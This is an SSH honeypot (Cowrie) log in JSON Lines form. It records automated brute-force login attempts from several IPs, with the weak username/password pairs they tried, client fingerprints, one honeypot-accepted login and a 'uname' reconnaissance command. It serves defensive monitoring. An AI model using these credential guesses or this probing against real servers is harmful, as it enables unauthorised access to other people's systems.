{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:14.394316Z","src_ip":"103.75.199.4","session":"18119ef97b23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:14.559405Z","src_ip":"45.153.34.114","session":"1da228a7b4f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:15.487523Z","src_ip":"103.75.199.4","session":"18119ef97b23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":55816,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1c7e1ade707","protocol":"ssh","message":"New connection: 45.153.34.114:55816 (159.203.135.109:22) [session: a1c7e1ade707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:20.452826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:20.461818Z","src_ip":"45.153.34.114","session":"a1c7e1ade707","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:20.550372Z","src_ip":"45.153.34.114","session":"a1c7e1ade707","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apollo","password":"apollo","message":"login attempt [apollo/apollo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:20.814106Z","src_ip":"45.153.34.114","session":"a1c7e1ade707","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:21.899754Z","src_ip":"45.153.34.114","session":"a1c7e1ade707","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":55834,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4f014522d96","protocol":"ssh","message":"New connection: 45.153.34.114:55834 (159.203.135.109:22) [session: f4f014522d96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:28.228186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:28.233111Z","src_ip":"45.153.34.114","session":"f4f014522d96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:28.312903Z","src_ip":"45.153.34.114","session":"f4f014522d96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:28.643944Z","src_ip":"45.153.34.114","session":"f4f014522d96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:29.732084Z","src_ip":"45.153.34.114","session":"f4f014522d96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":44436,"dst_ip":"10.17.0.5","dst_port":22,"session":"5549c95671e6","protocol":"ssh","message":"New connection: 80.94.92.182:44436 (10.17.0.5:22) [session: 5549c95671e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:31.520695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:31.542975Z","src_ip":"80.94.92.182","session":"5549c95671e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:31.657099Z","src_ip":"80.94.92.182","session":"5549c95671e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:32.575889Z","src_ip":"80.94.92.182","session":"5549c95671e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:33.873952Z","src_ip":"80.94.92.182","session":"5549c95671e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":43794,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2dffa72d903","protocol":"ssh","message":"New connection: 103.75.199.4:43794 (159.203.135.109:22) [session: d2dffa72d903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:35.840459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:35.845478Z","src_ip":"103.75.199.4","session":"d2dffa72d903","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59592,"dst_ip":"159.203.135.109","dst_port":22,"session":"e87d7256c993","protocol":"ssh","message":"New connection: 45.153.34.114:59592 (159.203.135.109:22) [session: e87d7256c993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:35.922639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:35.944056Z","src_ip":"45.153.34.114","session":"e87d7256c993","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:35.950520Z","src_ip":"103.75.199.4","session":"d2dffa72d903","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:36.032759Z","src_ip":"45.153.34.114","session":"e87d7256c993","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:36.229542Z","src_ip":"103.75.199.4","session":"d2dffa72d903","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:36.291523Z","src_ip":"45.153.34.114","session":"e87d7256c993","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:36.512381Z","src_ip":"45.153.34.114","session":"e87d7256c993","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:36.515732Z","src_ip":"45.153.34.114","session":"e87d7256c993","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:36.610398Z","src_ip":"45.153.34.114","session":"e87d7256c993","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:36.615642Z","src_ip":"45.153.34.114","session":"e87d7256c993","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:37.323930Z","src_ip":"103.75.199.4","session":"d2dffa72d903","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":34796,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bab5520c92d","protocol":"ssh","message":"New connection: 45.153.34.114:34796 (159.203.135.109:22) [session: 2bab5520c92d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:43.365002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:43.370795Z","src_ip":"45.153.34.114","session":"2bab5520c92d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:43.501260Z","src_ip":"45.153.34.114","session":"2bab5520c92d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:43.869838Z","src_ip":"45.153.34.114","session":"2bab5520c92d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:44.956890Z","src_ip":"45.153.34.114","session":"2bab5520c92d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":57938,"dst_ip":"159.203.135.109","dst_port":22,"session":"a03ae831a502","protocol":"ssh","message":"New connection: 45.153.34.114:57938 (159.203.135.109:22) [session: a03ae831a502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:51.066658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:51.070948Z","src_ip":"45.153.34.114","session":"a03ae831a502","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:51.154958Z","src_ip":"45.153.34.114","session":"a03ae831a502","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:51.413965Z","src_ip":"45.153.34.114","session":"a03ae831a502","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:52.502926Z","src_ip":"45.153.34.114","session":"a03ae831a502","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":44146,"dst_ip":"159.203.135.109","dst_port":22,"session":"278408242299","protocol":"ssh","message":"New connection: 103.75.199.4:44146 (159.203.135.109:22) [session: 278408242299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:57.693481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:57.698186Z","src_ip":"103.75.199.4","session":"278408242299","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:57.794125Z","src_ip":"103.75.199.4","session":"278408242299","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:58.082469Z","src_ip":"103.75.199.4","session":"278408242299","protocol":"ssh"}
